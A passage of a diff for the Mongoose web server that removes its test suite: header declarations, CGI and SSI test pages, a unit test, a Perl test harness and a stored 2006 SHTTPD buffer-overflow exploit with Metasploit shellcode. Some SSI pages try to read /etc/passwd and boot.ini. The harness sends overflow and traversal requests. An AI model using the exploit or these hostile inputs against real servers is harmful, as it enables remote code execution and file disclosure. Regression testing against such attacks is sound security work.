// print data that is bigger than that, otherwise it will be truncated.
|
||||
int mg_printf(struct mg_connection *, const char *fmt, ...)
|
||||
#ifdef __GNUC__
|
||||
__attribute__((format(printf, 2, 3)))
|
||||
#endif
|
||||
;
|
||||
|
||||
|
||||
// Send contents of the entire file together with HTTP headers.
|
||||
void mg_send_file(struct mg_connection *conn, const char *path);
|
||||
|
||||
|
||||
// Read data from the remote end, return number of bytes read.
|
||||
int mg_read(struct mg_connection *, void *buf, size_t len);
|
||||
|
||||
|
||||
// Get the value of particular HTTP header.
|
||||
//
|
||||
// This is a helper function. It traverses request_info->http_headers array,
|
||||
// and if the header is present in the array, returns its value. If it is
|
||||
// not present, NULL is returned.
|
||||
const char *mg_get_header(const struct mg_connection *, const char *name);
|
||||
const char *mg_get_mime_type(const char *name, const char *default_mime_type);
|
||||
int mg_get_var(const struct mg_connection *conn, const char *var_name,
|
||||
char *buf, size_t buf_len);
|
||||
int mg_parse_header(const char *hdr, const char *var_name, char *buf, size_t);
|
||||
int mg_parse_multipart(const char *buf, int buf_len,
|
||||
char *var_name, int var_name_len,
|
||||
char *file_name, int file_name_len,
|
||||
const char **data, int *data_len);
|
||||
|
||||
// Utility functions
|
||||
void *mg_start_thread(void *(*func)(void *), void *param);
|
||||
char *mg_md5(char buf[33], ...);
|
||||
int mg_authorize_digest(struct mg_connection *c, FILE *fp);
|
||||
|
||||
// Get a value of particular form variable.
|
||||
//
|
||||
// Parameters:
|
||||
// data: pointer to form-uri-encoded buffer. This could be either POST data,
|
||||
// or request_info.query_string.
|
||||
// data_len: length of the encoded data.
|
||||
// var_name: variable name to decode from the buffer
|
||||
// buf: destination buffer for the decoded variable
|
||||
// buf_len: length of the destination buffer
|
||||
//
|
||||
// Return:
|
||||
// On success, length of the decoded variable.
|
||||
// On error, -1 (variable not found, or destination buffer is too small).
|
||||
//
|
||||
// Destination buffer is guaranteed to be '\0' - terminated. In case of
|
||||
// failure, dst[0] == '\0'.
|
||||
int mg_get_var(const char *data, size_t data_len,
|
||||
const char *var_name, char *buf, size_t buf_len);
|
||||
|
||||
// Fetch value of certain cookie variable into the destination buffer.
|
||||
//
|
||||
// Destination buffer is guaranteed to be '\0' - terminated. In case of
|
||||
// failure, dst[0] == '\0'. Note that RFC allows many occurrences of the same
|
||||
// parameter. This function returns only first occurrence.
|
||||
//
|
||||
// Return:
|
||||
// On success, value length.
|
||||
// On error, 0 (either "Cookie:" header is not present at all, or the
|
||||
// requested parameter is not found, or destination buffer is too small
|
||||
// to hold the value).
|
||||
int mg_get_cookie(const struct mg_connection *,
|
||||
const char *cookie_name, char *buf, size_t buf_len);
|
||||
|
||||
|
||||
// Connect to the remote web server.
|
||||
// Return:
|
||||
// On success, valid pointer to the new connection
|
||||
// On error, NULL
|
||||
struct mg_connection *mg_connect(struct mg_context *ctx,
|
||||
const char *host, int port, int use_ssl);
|
||||
|
||||
|
||||
// Close the connection opened by mg_connect().
|
||||
void mg_close_connection(struct mg_connection *conn);
|
||||
|
||||
|
||||
// Download given URL to a given file.
|
||||
// url: URL to download
|
||||
// path: file name where to save the data
|
||||
// request_info: pointer to a structure that will hold parsed reply headers
|
||||
// buf, bul_len: a buffer for the reply headers
|
||||
// Return:
|
||||
// On error, NULL
|
||||
// On success, opened file stream to the downloaded contents. The stream
|
||||
// is positioned to the end of the file. It is a user responsibility
|
||||
// to fclose() opened file stream.
|
||||
FILE *mg_fetch(struct mg_context *ctx, const char *url, const char *path,
|
||||
char *buf, size_t buf_len, struct mg_request_info *request_info);
|
||||
|
||||
|
||||
// Convenience function -- create detached thread.
|
||||
// Return: 0 on success, non-0 on error.
|
||||
typedef void * (*mg_thread_func_t)(void *);
|
||||
int mg_start_thread(mg_thread_func_t f, void *p);
|
||||
|
||||
|
||||
// Return builtin mime type for the given file name.
|
||||
// For unrecognized extensions, "text/plain" is returned.
|
||||
const char *mg_get_builtin_mime_type(const char *file_name);
|
||||
|
||||
|
||||
// Return Mongoose version.
|
||||
const char *mg_version(void);
|
||||
|
||||
|
||||
// MD5 hash given strings.
|
||||
// Buffer 'buf' must be 33 bytes long. Varargs is a NULL terminated list of
|
||||
// asciiz strings. When function returns, buf will contain human-readable
|
||||
// MD5 hash. Example:
|
||||
// char buf[33];
|
||||
// mg_md5(buf, "aa", "bb", NULL);
|
||||
void mg_md5(char *buf, ...);
|
||||
// Callback function return codes
|
||||
enum { MG_REQUEST_NOT_PROCESSED, MG_REQUEST_PROCESSED, MG_REQUEST_CALL_AGAIN };
|
||||
enum { MG_AUTH_FAIL, MG_AUTH_OK };
|
||||
enum { MG_ERROR_NOT_PROCESSED, MG_ERROR_PROCESSED };
|
||||
enum { MG_CLIENT_CONTINUE, MG_CLIENT_CLOSE };
|
||||
|
||||
// HTTP client events
|
||||
enum {
|
||||
MG_CONNECT_SUCCESS, MG_CONNECT_FAILURE,
|
||||
MG_DOWNLOAD_SUCCESS, MG_DOWNLOAD_FAILURE
|
||||
};
|
||||
int mg_connect(struct mg_server *, const char *host, int port, int use_ssl,
|
||||
mg_handler_t handler, void *param);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
|
||||
@@ -1 +0,0 @@
|
||||
abc123
|
||||
@@ -1 +0,0 @@
|
||||
blah
|
||||
@@ -1,28 +0,0 @@
|
||||
#!/usr/bin/env perl
|
||||
|
||||
@flags = ("NO_POPEN", "NO_SSL", "NDEBUG", "DEBUG", "NO_CGI");
|
||||
my $num_flags = @flags;
|
||||
|
||||
sub fail {
|
||||
print "FAILED: @_\n";
|
||||
exit 1;
|
||||
}
|
||||
|
||||
my $platform = $ARGV[0] || "linux";
|
||||
|
||||
for (my $i = 0; $i < 2 ** $num_flags; $i++) {
|
||||
my $bitmask = sprintf("%*.*b", $num_flags, $num_flags, $i);
|
||||
my @combination = ();
|
||||
for (my $j = 0; $j < $num_flags; $j++) {
|
||||
push @combination, $flags[$j] if substr($bitmask, $j, 1);
|
||||
}
|
||||
my $defines = join(" ", map { "-D$_" } @combination);
|
||||
my $cmd = "CFLAGS=\"$defines\" make clean $platform >/dev/null";
|
||||
system($cmd) == 0 or fail "build failed: $_";
|
||||
print "Build succeeded, flags: [$defines]\n";
|
||||
system("perl test/test.pl basic_tests >/dev/null") == 0
|
||||
or fail "basic tests";
|
||||
print "Basic tests: OK\n";
|
||||
}
|
||||
|
||||
print "PASS: All builds passed!\n";
|
||||
@@ -1,5 +0,0 @@
|
||||
#!/bin/sh
|
||||
|
||||
echo "echoing bad headers: server must report status 500"
|
||||
exec 1>&2
|
||||
echo shit!!!
|
||||
@@ -1,3 +0,0 @@
|
||||
#!/usr/bin/env perl
|
||||
|
||||
print "Status: 123 Please pass me to the client\r\n\r\n";
|
||||
-181
@@ -1,181 +0,0 @@
|
||||
// Copyright (c) 2004-2009 Sergey Lyubka
|
||||
//
|
||||
// Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
// of this software and associated documentation files (the "Software"), to deal
|
||||
// in the Software without restriction, including without limitation the rights
|
||||
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
// copies of the Software, and to permit persons to whom the Software is
|
||||
// furnished to do so, subject to the following conditions:
|
||||
//
|
||||
// The above copyright notice and this permission notice shall be included in
|
||||
// all copies or substantial portions of the Software.
|
||||
//
|
||||
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
// THE SOFTWARE.
|
||||
//
|
||||
// Unit test for the mongoose web server. Tests embedded API.
|
||||
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#ifndef _WIN32
|
||||
#include <unistd.h>
|
||||
#endif
|
||||
|
||||
#include "mongoose.h"
|
||||
|
||||
#if !defined(LISTENING_PORT)
|
||||
#define LISTENING_PORT "23456"
|
||||
#endif
|
||||
|
||||
static const char *standard_reply = "HTTP/1.1 200 OK\r\n"
|
||||
"Content-Type: text/plain\r\n"
|
||||
"Connection: close\r\n\r\n";
|
||||
|
||||
static void test_get_var(struct mg_connection *conn,
|
||||
const struct mg_request_info *ri) {
|
||||
char *var, *buf;
|
||||
size_t buf_len;
|
||||
const char *cl;
|
||||
int var_len;
|
||||
|
||||
mg_printf(conn, "%s", standard_reply);
|
||||
|
||||
buf_len = 0;
|
||||
var = buf = NULL;
|
||||
cl = mg_get_header(conn, "Content-Length");
|
||||
mg_printf(conn, "cl: %p\n", cl);
|
||||
if ((!strcmp(ri->request_method, "POST") ||
|
||||
!strcmp(ri->request_method, "PUT"))
|
||||
&& cl != NULL) {
|
||||
buf_len = atoi(cl);
|
||||
buf = malloc(buf_len);
|
||||
/* Read in two pieces, to test continuation */
|
||||
if (buf_len > 2) {
|
||||
mg_read(conn, buf, 2);
|
||||
mg_read(conn, buf + 2, buf_len - 2);
|
||||
} else {
|
||||
mg_read(conn, buf, buf_len);
|
||||
}
|
||||
} else if (ri->query_string != NULL) {
|
||||
buf_len = strlen(ri->query_string);
|
||||
buf = malloc(buf_len + 1);
|
||||
strcpy(buf, ri->query_string);
|
||||
}
|
||||
var = malloc(buf_len + 1);
|
||||
var_len = mg_get_var(buf, buf_len, "my_var", var, buf_len + 1);
|
||||
mg_printf(conn, "Value: [%s]\n", var);
|
||||
mg_printf(conn, "Value size: [%d]\n", var_len);
|
||||
free(buf);
|
||||
free(var);
|
||||
}
|
||||
|
||||
static void test_get_header(struct mg_connection *conn,
|
||||
const struct mg_request_info *ri) {
|
||||
const char *value;
|
||||
int i;
|
||||
|
||||
mg_printf(conn, "%s", standard_reply);
|
||||
printf("HTTP headers: %d\n", ri->num_headers);
|
||||
for (i = 0; i < ri->num_headers; i++) {
|
||||
printf("[%s]: [%s]\n", ri->http_headers[i].name, ri->http_headers[i].value);
|
||||
}
|
||||
|
||||
value = mg_get_header(conn, "Host");
|
||||
if (value != NULL) {
|
||||
mg_printf(conn, "Value: [%s]", value);
|
||||
}
|
||||
}
|
||||
|
||||
static void test_get_request_info(struct mg_connection *conn,
|
||||
const struct mg_request_info *ri) {
|
||||
int i;
|
||||
|
||||
mg_printf(conn, "%s", standard_reply);
|
||||
|
||||
mg_printf(conn, "Method: [%s]\n", ri->request_method);
|
||||
mg_printf(conn, "URI: [%s]\n", ri->uri);
|
||||
mg_printf(conn, "HTTP version: [%s]\n", ri->http_version);
|
||||
|
||||
for (i = 0; i < ri->num_headers; i++) {
|
||||
mg_printf(conn, "HTTP header [%s]: [%s]\n",
|
||||
ri->http_headers[i].name,
|
||||
ri->http_headers[i].value);
|
||||
}
|
||||
|
||||
mg_printf(conn, "Query string: [%s]\n",
|
||||
ri->query_string ? ri->query_string: "");
|
||||
mg_printf(conn, "Remote IP: [%lu]\n", ri->remote_ip);
|
||||
mg_printf(conn, "Remote port: [%d]\n", ri->remote_port);
|
||||
mg_printf(conn, "Remote user: [%s]\n",
|
||||
ri->remote_user ? ri->remote_user : "");
|
||||
}
|
||||
|
||||
static void test_error(struct mg_connection *conn,
|
||||
const struct mg_request_info *ri) {
|
||||
mg_printf(conn, "HTTP/1.1 %d XX\r\n"
|
||||
"Conntection: close\r\n\r\n", ri->status_code);
|
||||
mg_printf(conn, "Error: [%d]", ri->status_code);
|
||||
}
|
||||
|
||||
static void test_post(struct mg_connection *conn,
|
||||
const struct mg_request_info *ri) {
|
||||
const char *cl;
|
||||
char *buf;
|
||||
int len;
|
||||
|
||||
mg_printf(conn, "%s", standard_reply);
|
||||
if (strcmp(ri->request_method, "POST") == 0 &&
|
||||
(cl = mg_get_header(conn, "Content-Length")) != NULL) {
|
||||
len = atoi(cl);
|
||||
if ((buf = malloc(len)) != NULL) {
|
||||
mg_write(conn, buf, len);
|
||||
free(buf);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static const struct test_config {
|
||||
enum mg_event event;
|
||||
const char *uri;
|
||||
void (*func)(struct mg_connection *, const struct mg_request_info *);
|
||||
} test_config[] = {
|
||||
{MG_NEW_REQUEST, "/test_get_header", &test_get_header},
|
||||
{MG_NEW_REQUEST, "/test_get_var", &test_get_var},
|
||||
{MG_NEW_REQUEST, "/test_get_request_info", &test_get_request_info},
|
||||
{MG_NEW_REQUEST, "/test_post", &test_post},
|
||||
{MG_HTTP_ERROR, "", &test_error},
|
||||
{0, NULL, NULL}
|
||||
};
|
||||
|
||||
static void *callback(enum mg_event event,
|
||||
struct mg_connection *conn) {
|
||||
const struct mg_request_info *request_info = mg_get_request_info(conn);
|
||||
int i;
|
||||
|
||||
for (i = 0; test_config[i].uri != NULL; i++) {
|
||||
if (event == test_config[i].event &&
|
||||
(event == MG_HTTP_ERROR ||
|
||||
!strcmp(request_info->uri, test_config[i].uri))) {
|
||||
test_config[i].func(conn, request_info);
|
||||
return "processed";
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
struct mg_context *ctx;
|
||||
const char *options[] = {"listening_ports", LISTENING_PORT, NULL};
|
||||
|
||||
ctx = mg_start(callback, NULL, options);
|
||||
pause();
|
||||
return 0;
|
||||
}
|
||||
@@ -1,46 +0,0 @@
|
||||
#!/usr/bin/env perl
|
||||
|
||||
use Cwd;
|
||||
use CGI;
|
||||
|
||||
use vars '%in';
|
||||
CGI::ReadParse();
|
||||
|
||||
print "Content-Type: text/html\r\n\r\n";
|
||||
|
||||
print "<pre>\n";
|
||||
foreach my $key (sort keys %ENV) {
|
||||
print "$key=$ENV{$key}\n";
|
||||
}
|
||||
|
||||
print "\n";
|
||||
|
||||
foreach my $key (sort keys %in) {
|
||||
print "$key=$in{$key}\n";
|
||||
}
|
||||
|
||||
print "\n";
|
||||
|
||||
print 'CURRENT_DIR=' . getcwd() . "\n";
|
||||
print "</pre>\n";
|
||||
|
||||
my $stuff = <<EOP ;
|
||||
<script language="javascript">
|
||||
function set_val() {
|
||||
}
|
||||
</script>
|
||||
<form method=get>
|
||||
<input type=hidden name=a>
|
||||
<input type=text name=_a onChange="javascript: this.form.a.value=this.value;">
|
||||
<input type=submit value=get>
|
||||
</form>
|
||||
|
||||
<form method=post>
|
||||
<input type=text name=b>
|
||||
<input type=submit value=post>
|
||||
</form>
|
||||
EOP
|
||||
|
||||
#system('some shit');
|
||||
|
||||
print $stuff;
|
||||
@@ -1,69 +0,0 @@
|
||||
#!/usr/bin/perl -w
|
||||
|
||||
# SHTTPD Buffer Overflow (POST)
|
||||
# Tested on SHTTPD 1.34 WinXP SP1 Hebrew
|
||||
# http://shttpd.sourceforge.net
|
||||
# Codded By SkOd, 05/10/2006
|
||||
# ISRAEL
|
||||
#
|
||||
# details:
|
||||
# EAX 00000194 , ECX 009EBCA8 , EDX 00BC488C
|
||||
# EBX 00000004 , EIP 41414141 , EBP 41414141
|
||||
# ESI 00BC4358 , EDI 00BCC3CC ASCII "POST"
|
||||
# ESP 009EFC08 ASCII 41,"AA...AAA"
|
||||
|
||||
|
||||
use IO::Socket;
|
||||
|
||||
sub fail(){
|
||||
syswrite STDOUT, "[-]Connect failed.\n";
|
||||
exit;
|
||||
}
|
||||
|
||||
sub header()
|
||||
{
|
||||
print("##################################\n");
|
||||
print("SHTTPD (POST) Buffer Overflow.\n");
|
||||
print("[http://shttpd.sourceforge.net]\n");
|
||||
print("Codded By SkOd, 05/10/2006\n");
|
||||
print("##################################\n");
|
||||
}
|
||||
|
||||
if (@ARGV < 1)
|
||||
{
|
||||
&header();
|
||||
print("Usage: Perl shttpd.pl [host]\n");
|
||||
exit;
|
||||
}
|
||||
|
||||
&header();
|
||||
$host=$ARGV[0];
|
||||
$port="80";
|
||||
$host=~ s/(http:\/\/)//eg;
|
||||
|
||||
#win32_exec- CMD=calc Size=160 (metasploit.com)
|
||||
$shell =
|
||||
"%33%c9%83%e9%de%d9%ee%d9%74%24%f4%5b%81%73%13%52".
|
||||
"%ca%2b%e0%83%eb%fc%e2%f4%ae%22%6f%e0%52%ca%a0%a5".
|
||||
"%6e%41%57%e5%2a%cb%c4%6b%1d%d2%a0%bf%72%cb%c0%a9".
|
||||
"%d9%fe%a0%e1%bc%fb%eb%79%fe%4e%eb%94%55%0b%e1%ed".
|
||||
"%53%08%c0%14%69%9e%0f%e4%27%2f%a0%bf%76%cb%c0%86".
|
||||
"%d9%c6%60%6b%0d%d6%2a%0b%d9%d6%a0%e1%b9%43%77%c4".
|
||||
"%56%09%1a%20%36%41%6b%d0%d7%0a%53%ec%d9%8a%27%6b".
|
||||
"%22%d6%86%6b%3a%c2%c0%e9%d9%4a%9b%e0%52%ca%a0%88".
|
||||
"%0d%a2%b3%1e%d8%c4%7c%1f%b5%a9%4a%8c%31%ca%2b%e0";
|
||||
|
||||
|
||||
$esp="%73%C3%2A%4F"; #[4F2AC373]JMP ESP (kernel32.dll) WinXP SP1(Hebrew)
|
||||
$buff=("%41"x8).$esp.("%90"x85).$shell; #Shellcode+NOP=245
|
||||
|
||||
print length($buff) . "\n";
|
||||
|
||||
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "$port") || &fail();
|
||||
syswrite STDOUT,"[+]Connected.\n";
|
||||
print $sock "POST /$buff HTTP/1.1\n";
|
||||
print $sock "HOST:$host\n\n";
|
||||
syswrite STDOUT,"[+]Done.\n";
|
||||
close($sock);
|
||||
|
||||
# milw0rm.com [2006-10-05]
|
||||
@@ -1,6 +0,0 @@
|
||||
#!/bin/sh
|
||||
|
||||
echo "Content-Type: text/plain"
|
||||
echo
|
||||
|
||||
echo $QUERY_STRING
|
||||
@@ -1 +0,0 @@
|
||||
simple text file
|
||||
@@ -1,3 +0,0 @@
|
||||
guest:mydomain.com:485264dcc977a1925370b89d516a1477
|
||||
Administrator:mydomain.com:e32daa3028eba04dc53e2d781e6fc983
|
||||
|
||||
@@ -1,6 +0,0 @@
|
||||
#!/bin/sh
|
||||
|
||||
echo "Content-Type: text/plain"
|
||||
echo
|
||||
|
||||
echo "This is shell script CGI."
|
||||
@@ -1,5 +0,0 @@
|
||||
<html><pre>
|
||||
ssi_begin
|
||||
<!--#include file="Makefile" -->
|
||||
ssi_end
|
||||
</pre></html>
|
||||
@@ -1,5 +0,0 @@
|
||||
<html><pre>
|
||||
ssi_begin
|
||||
<!--#include virtual="embed.c" -->
|
||||
ssi_end
|
||||
</pre></html>
|
||||
@@ -1,5 +0,0 @@
|
||||
<html><pre>
|
||||
ssi_begin
|
||||
<!--#exec "ls -l" -->
|
||||
ssi_end
|
||||
</pre></html>
|
||||
@@ -1,5 +0,0 @@
|
||||
<html><pre>
|
||||
ssi_begin
|
||||
<!--#exec "dir /w" -->
|
||||
ssi_end
|
||||
</pre></html>
|
||||
@@ -1,5 +0,0 @@
|
||||
<html><pre>
|
||||
ssi_begin
|
||||
<!--#include file="/etc/passwd" -->
|
||||
ssi_end
|
||||
</pre></html>
|
||||
@@ -1,5 +0,0 @@
|
||||
<html><pre>
|
||||
ssi_begin
|
||||
<!--#include file="c:\boot.ini" -->
|
||||
ssi_end
|
||||
</pre></html>
|
||||
@@ -1,6 +0,0 @@
|
||||
|
||||
<html><pre>
|
||||
ssi_begin
|
||||
<!--#include "embed.c" -->
|
||||
ssi_end
|
||||
</pre></html>
|
||||
@@ -1 +0,0 @@
|
||||
<!--#include "ssi9.shtml" -->
|
||||
@@ -1,3 +0,0 @@
|
||||
ssi_begin
|
||||
<!--#include file="Makefile" -->
|
||||
ssi_end
|
||||
-533
@@ -1,533 +0,0 @@
|
||||
#!/usr/bin/env perl
|
||||
# This script is used to test Mongoose web server
|
||||
# $Id: test.pl 516 2010-05-03 12:54:37Z valenok $
|
||||
|
||||
use IO::Socket;
|
||||
use File::Path;
|
||||
use strict;
|
||||
use warnings;
|
||||
#use diagnostics;
|
||||
|
||||
sub on_windows { $^O =~ /win32/i; }
|
||||
|
||||
my $port = 23456;
|
||||
my $pid = undef;
|
||||
my $num_requests;
|
||||
my $dir_separator = on_windows() ? '\\' : '/';
|
||||
my $copy_cmd = on_windows() ? 'copy' : 'cp';
|
||||
my $test_dir_uri = "test_dir";
|
||||
my $root = 'test';
|
||||
my $test_dir = $root . $dir_separator. $test_dir_uri;
|
||||
my $config = 'mongoose.conf';
|
||||
my $exe = '.' . $dir_separator . 'mongoose';
|
||||
my $embed_exe = '.' . $dir_separator . 'embed';
|
||||
my $unit_test_exe = '.' . $dir_separator . 'unit_test';
|
||||
my $exit_code = 0;
|
||||
|
||||
my @files_to_delete = ('debug.log', 'access.log', $config, "$root/a/put.txt",
|
||||
"$root/a+.txt", "$root/.htpasswd", "$root/binary_file", "$root/a",
|
||||
"$root/myperl", $embed_exe, $unit_test_exe);
|
||||
|
||||
END {
|
||||
unlink @files_to_delete;
|
||||
kill_spawned_child();
|
||||
File::Path::rmtree($test_dir);
|
||||
exit $exit_code;
|
||||
}
|
||||
|
||||
sub fail {
|
||||
print "FAILED: @_\n";
|
||||
$exit_code = 1;
|
||||
exit 1;
|
||||
}
|
||||
|
||||
sub get_num_of_log_entries {
|
||||
open FD, "access.log" or return 0;
|
||||
my @lines = (<FD>);
|
||||
close FD;
|
||||
return scalar @lines;
|
||||
}
|
||||
|
||||
# Send the request to the 127.0.0.1:$port and return the reply
|
||||
sub req {
|
||||
my ($request, $inc, $timeout) = @_;
|
||||
my $sock = IO::Socket::INET->new(Proto=>"tcp",
|
||||
PeerAddr=>'127.0.0.1', PeerPort=>$port);
|
||||
fail("Cannot connect: $!") unless $sock;
|
||||
$sock->autoflush(1);
|
||||
foreach my $byte (split //, $request) {
|
||||
last unless print $sock $byte;
|
||||
select undef, undef, undef, .001 if length($request) < 256;
|
||||
}
|
||||
my ($out, $buf) = ('', '');
|
||||
eval {
|
||||
alarm $timeout if $timeout;
|
||||
$out .= $buf while (sysread($sock, $buf, 1024) > 0);
|
||||
alarm 0 if $timeout;
|
||||
};
|
||||
close $sock;
|
||||
|
||||
$num_requests += defined($inc) ? $inc : 1;
|
||||
my $num_logs = get_num_of_log_entries();
|
||||
|
||||
unless ($num_requests == $num_logs) {
|
||||
fail("Request has not been logged: [$request], output: [$out]");
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
# Send the request. Compare with the expected reply. Fail if no match
|
||||
sub o {
|
||||
my ($request, $expected_reply, $message, $num_logs) = @_;
|
||||
print "==> $message ... ";
|
||||
my $reply = req($request, $num_logs);
|
||||
if ($reply =~ /$expected_reply/s) {
|
||||
print "OK\n";
|
||||
} else {
|
||||
#fail("Requested: [$request]\nExpected: [$expected_reply], got: [$reply]");
|
||||
fail("Expected: [$expected_reply], got: [$reply]");
|
||||
}
|
||||
}
|
||||
|
||||
# Spawn a server listening on specified port
|
||||
sub spawn {
|
||||
my ($cmdline) = @_;
|
||||
print 'Executing: ', @_, "\n";
|
||||
if (on_windows()) {
|
||||
my @args = split /\s+/, $cmdline;
|
||||
my $executable = $args[0];
|
||||
$executable .= '.exe';
|
||||
Win32::Spawn($executable, $cmdline, $pid);
|
||||
die "Cannot spawn @_: $!" unless $pid;
|
||||
} else {
|
||||
unless ($pid = fork()) {
|
||||
exec $cmdline;
|
||||
die "cannot exec [$cmdline]: $!\n";
|
||||
}
|
||||
}
|
||||
sleep 1;
|
||||
}
|
||||
|
||||
sub write_file {
|
||||
open FD, ">$_[0]" or fail "Cannot open $_[0]: $!";
|
||||
binmode FD;
|
||||
print FD $_[1];
|
||||
close FD;
|
||||
}
|
||||
|
||||
sub read_file {
|
||||
open FD, $_[0] or fail "Cannot open $_[0]: $!";
|
||||
my @lines = <FD>;
|
||||
close FD;
|
||||
return join '', @lines;
|
||||
}
|
||||
|
||||
sub kill_spawned_child {
|
||||
if (defined($pid)) {
|
||||
kill(9, $pid);
|
||||
waitpid($pid, 0);
|
||||
}
|
||||
}
|
||||
|
||||
####################################################### ENTRY POINT
|
||||
|
||||
unlink @files_to_delete;
|
||||
$SIG{PIPE} = 'IGNORE';
|
||||
$SIG{ALRM} = sub { die "timeout\n" };
|
||||
#local $| =1;
|
||||
|
||||
# Make sure we export only symbols that start with "mg_", and keep local
|
||||
# symbols static.
|
||||
if ($^O =~ /darwin|bsd|linux/) {
|
||||
my $out = `(cc -c mongoose.c && nm mongoose.o) | grep ' T '`;
|
||||
foreach (split /\n/, $out) {
|
||||
/T\s+_?mg_.+/ or fail("Exported symbol $_")
|
||||
}
|
||||
}
|
||||
|
||||
if (scalar(@ARGV) > 0 and $ARGV[0] eq 'embedded') {
|
||||
do_embedded_test();
|
||||
exit 0;
|
||||
}
|
||||
|
||||
if (scalar(@ARGV) > 0 and $ARGV[0] eq 'unit') {
|
||||
do_unit_test();
|
||||
exit 0;
|
||||
}
|
||||
|
||||
# Make sure we load config file if no options are given.
|
||||
# Command line options override config files settings
|
||||
write_file($config, "access_log_file access.log\nlistening_ports 12345\n");
|
||||
spawn("$exe -p $port");
|
||||
o("GET /test/hello.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'Loading config file');
|
||||
unlink $config;
|
||||
kill_spawned_child();
|
||||
|
||||
# Spawn the server on port $port
|
||||
my $cmd = "$exe ".
|
||||
"-listening_ports $port ".
|
||||
"-access_log_file access.log ".
|
||||
"-error_log_file debug.log ".
|
||||
"-cgi_environment CGI_FOO=foo,CGI_BAR=bar,CGI_BAZ=baz " .
|
||||
"-extra_mime_types .bar=foo/bar,.tar.gz=blah,.baz=foo " .
|
||||
'-put_delete_passwords_file test/passfile ' .
|
||||
'-access_control_list -0.0.0.0/0,+127.0.0.1 ' .
|
||||
"-document_root $root ".
|
||||
"-hide_files_patterns **exploit.pl ".
|
||||
"-enable_keep_alive yes ".
|
||||
"-url_rewrite_patterns /aiased=/etc/,/ta=$test_dir";
|
||||
$cmd .= ' -cgi_interpreter perl' if on_windows();
|
||||
spawn($cmd);
|
||||
|
||||
o("GET /hello.txt HTTP/1.1\n\n GET /hello.txt HTTP/1.0\n\n",
|
||||
'HTTP/1.1 200.+keep-alive.+HTTP/1.1 200.+close',
|
||||
'Request pipelining', 2);
|
||||
|
||||
my $x = 'x=' . 'A' x (200 * 1024);
|
||||
my $len = length($x);
|
||||
o("POST /env.cgi HTTP/1.0\r\nContent-Length: $len\r\n\r\n$x",
|
||||
'^HTTP/1.1 200 OK', 'Long POST');
|
||||
|
||||
# Try to overflow: Send very long request
|
||||
req('POST ' . '/..' x 100 . 'ABCD' x 3000 . "\n\n", 0); # don't log this one
|
||||
|
||||
o("GET /hello.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'GET regular file');
|
||||
o("GET /hello.txt HTTP/1.0\nContent-Length: -2147483648\n\n",
|
||||
'HTTP/1.1 200 OK', 'Negative content length');
|
||||
o("GET /hello.txt HTTP/1.0\n\n", 'Content-Length: 17\s',
|
||||
'GET regular file Content-Length');
|
||||
o("GET /%68%65%6c%6c%6f%2e%74%78%74 HTTP/1.0\n\n",
|
||||
'HTTP/1.1 200 OK', 'URL-decoding');
|
||||
|
||||
# Break CGI reading after 1 second. We must get full output.
|
||||
# Since CGI script does sleep, we sleep as well and increase request count
|
||||
# manually.
|
||||
my $slow_cgi_reply;
|
||||
print "==> Slow CGI output ... ";
|
||||
fail('Slow CGI output forward reply=', $slow_cgi_reply) unless
|
||||
($slow_cgi_reply = req("GET /timeout.cgi HTTP/1.0\r\n\r\n", 0, 1)) =~ /Some data/s;
|
||||
print "OK\n";
|
||||
sleep 3;
|
||||
$num_requests++;
|
||||
|
||||
# '+' in URI must not be URL-decoded to space
|
||||
write_file("$root/a+.txt", '');
|
||||
o("GET /a+.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'URL-decoding, + in URI');
|
||||
|
||||
o("GET /%5c/a.txt HTTP/1.0\n\n", 'blah', 'GET dir backslash');
|
||||
|
||||
# Test HTTP version parsing
|
||||
o("GET / HTTPX/1.0\r\n\r\n", '400 Bad Request', 'Bad HTTP Version', 0);
|
||||
o("GET / HTTP/x.1\r\n\r\n", '505 HTTP', 'Bad HTTP maj Version');
|
||||
o("GET / HTTP/1.1z\r\n\r\n", '505 HTTP', 'Bad HTTP min Version');
|
||||
o("GET / HTTP/02.0\r\n\r\n", '505 HTTP version not supported',
|
||||
'HTTP Version >1.1');
|
||||
|
||||
# File with leading single dot
|
||||
o("GET /.leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 1');
|
||||
o("GET /...leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 2');
|
||||
o("GET /../\\\\/.//...leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 3')
|
||||
if on_windows();
|
||||
o("GET .. HTTP/1.0\n\n", '400 Bad Request', 'Leading dot 4', 0);
|
||||
|
||||
mkdir $test_dir unless -d $test_dir;
|
||||
o("GET /$test_dir_uri/not_exist HTTP/1.0\n\n",
|
||||
'HTTP/1.1 404', 'PATH_INFO loop problem');
|
||||
o("GET /$test_dir_uri HTTP/1.0\n\n", 'HTTP/1.1 301', 'Directory redirection');
|
||||
o("GET /$test_dir_uri/ HTTP/1.0\n\n", 'Modified', 'Directory listing');
|
||||
write_file("$test_dir/index.html", "tralala");
|
||||
o("GET /$test_dir_uri/ HTTP/1.0\n\n", 'tralala', 'Index substitution');
|
||||
